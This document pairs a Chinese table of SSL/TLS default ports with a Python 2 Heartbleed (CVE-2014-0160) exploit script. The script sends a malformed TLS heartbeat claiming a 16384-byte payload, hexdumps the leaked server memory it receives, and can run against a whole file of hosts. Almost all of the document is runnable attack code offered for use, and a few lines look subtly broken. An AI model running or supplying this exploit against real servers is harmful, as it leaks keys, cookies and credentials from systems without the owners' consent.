协议

默认端口

说明

SMTPS

465

(SMTP-over-SSL)协议发送邮件协议

HTTPS

443

安全套接字层超文本传输协议

NNTPS

563

通过安全套接字层的网络新闻传输协议

LDAPS

636

通过安全套接字层的轻型目录访问协议

ftps

990

通过ssl加密的ftp协议

IMAPS

993

邮件接收协议

POP3S

995

邮件接收协议

import struct

import socket

import time

import select

from optparse import OptionParser

def h2bin(x):

return x.replace(' ', '').replace('\n', '').decode('hex')

hello = [

# TLSv1.1 Record Layer : HandshakeProtocol: Client Hello

"16"  # Content Type: Handshake (22)

"0302"  # Version: TLS 1.1 (0x0302)

"00dc"  # Length: 220

# Handshake Protocol: Client Hello

"01"  # Handshake Type: Client Hello (1)

"0000 d8"  # Length (216)

"0302"  # Version: TLS 1.1 (0x0302)

# Random

"5343 5b 90"  # gmt_unix_time

"9d9b 72 0b bc  0c bc 2b 92 a8 48 97 cf bd39 04 cc 16 0a 85 03  90 9f 77 04 33 d4de"  # random_bytes

"00"  # Session ID Length: 0

"0066"  # Cipher Suite Length: 102

# Cipher Suites

"c014"

"c00a"

"c022"

"c021"

"0039"

"0038"

"0088"

"0087"

"c00f"

"c005"

"0035"

"0084"

"c012"

"c008"

"c01c"

"c01b"

"0016"

"0013"

"c00d"

"c003"

"000a"

"c013"

"c009"

"c01f"

"c01e"

"0033"

"0032"

"009a"

"0099"

"0045"

"0044"

"c00e"

"c004"

"002f"

"0096"

"0041"

"c011"

"c007"

"c00c"

"c002"

"0005"

"0004"

"0015"

"0012"

"0009"

"0014"

"0011"

"0008"

"0006"

"0003"

"00ff"

"01"  # Compression Methods

# Compression Methods (1 method)

"00"  # Compression Method: null

"0049"  # Extension Length: 73

"000b"  # Type: ec_point_formats

"0004"  # Length: 4

"03"  # EC point formats length: 3

# Elliptic curves point formats

"00"  # EC point format: uncompressed (0)

"01"  # EC point format:ansix962_compressed_prime

"02"  # EC point format:ansix962_compressed_char2

# Extension: elliptic_curves

"000a"

"0034"

"0032"

"000e"

"000d"

"0019"

"000b"

"000c"

"0018"

"0009"

"000a"

"0016"

"0017"

"0008"

"0006"

"0007"

"0014"

"0015"

"0004"

"0005"

"0012"

"0013"

"0001"

"0002"

"0003"

"000f"

"0010"

"0011"

"0023 00 00"  # Extension:SeesionTicket TLS

"000f 00 01 01"  # Extension:Heartbeat

]

# ---------TLSv1---[Heartbeat Request]------------

hb = [

# TLSv1.1 Record Layer: HeartbeatRequest

"18"    # Content Type: Heartbeat (24) ----(0x18)

"0302"  # Version: TLS 1.1 (0x0302)

"0003"  # Heartbeat Message:

"01"    # Type: Request (1) (0x01)

"4000"  # Payload Length: (16384) (0x4000)

]

hello = hello[0].replace("", "").replace("\n", "")

hb = hb[0].replace("", "").replace("\n", "")

def hexdump(s):

for b in xrange(0, len(s), 16):

lin = [c for c in s[b: b + 16]]

hxdat = ' '.join('%02X' % ord(c) for c in lin)

pdat = ''.join((c if 32 <= ord(c) <= 126 else '.') for c in lin)

print ' %04x: %-48s %s' % (b, hxdat, pdat)

print

def recvall(s, length, timeout=5):

endtime = time.time() + timeout

rdata = ''

remain = length

while remain > 0:

rtime = endtime - time.time()

if rtime < 0:

return None

r, w, e = select.select([s], [], [], 5)

print 'read: ', r

if s in r:

data = s.recv(remain)

# EOF?

if not data:

return None

rdata += data

remain -= len(data)

hexdump(rdata)

return rdata

def recvmsg(s):

hdr = recvall(s, 5)  # recvall(s, 5, timeout=5)

if hdr is None:

return None, None, None

# C     ---- [big-edition] + [unsigned char] + [unsigned short] + [unsigned short]

# Python ---- [big-edition] + integer +integer + integer

# [Content Type] + [Version] + [Length]

typ, ver, ln = struct.unpack('>BHH', hdr)

pay = recvall(s, ln, 10)

if pay is None:

return None, None, None

return typ, ver, pay

def hit_hb(s, target):

# global target

s.send(h2bin(hb))

while True:

print "[+] receive data..."

typ, ver, pay = recvmsg(s)

if typ is None:

print "[-] %s |NOTVULNERABLE" % target

return False

# TLSv1.1 Record Layer: EncryptedHeartbeat

# Content Type: Heartbeat (24)

# Version: TLS 1.1 (0x0302)

# Length: 19

# Encrypted Heartbeat Message

if typ == 24:

if len(pay) > 3:

print "[*] %s |VULNERABLE" % target

else:

print "[-] %s |NOTVULNERABLE" % target

return True

if typ == 21:

print "[-] %s |NOTVULNERABLE" % target

return False

def ssltest(target, port):

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

s.connect((target, port))

s.send(h2bin(hello))

while True:

typ, ver, pay = recvmsg(s)

if typ == None:

return

# Look for server hello done message.

# typ == 22 ----> Handshake

#

if typ == 22 and ord(pay[0]) == 0x0E:

break

# sys.stdout.flush()

print "[+] send payload: %s" % hb

s.send(h2bin(hb))  # Malformed Packet

return hit_hb(s, target)  # ------------- *********

def main():

# global target

options = OptionParser(usage='%prog server[options]',

description='Test for SSL heartbeat vulnerability (CVE-2014-0160)')

options.add_option('-p', '--port', type='int', default=443, help='TCP port to test (default: 443)')

options.add_option('-d', '--dest', dest='host', help='HOST to test')

options.add_option('-f', '--file', dest='filename', help='Hosts in the FILE to test ')

(opts, args) = options.parse_args()

if opts.host:

ssltest(opts.host, opts.port)

return

if opts.filename:

hostfile = open(opts.filename, 'r').readlines()

for host in hostfile:

host = host.strip()

if len(host) > 3:  # x.x

ssltest(host, opts.port)

return

if len(args) < 1:

options.print_help()

return

if __name__ == '__main__':

main()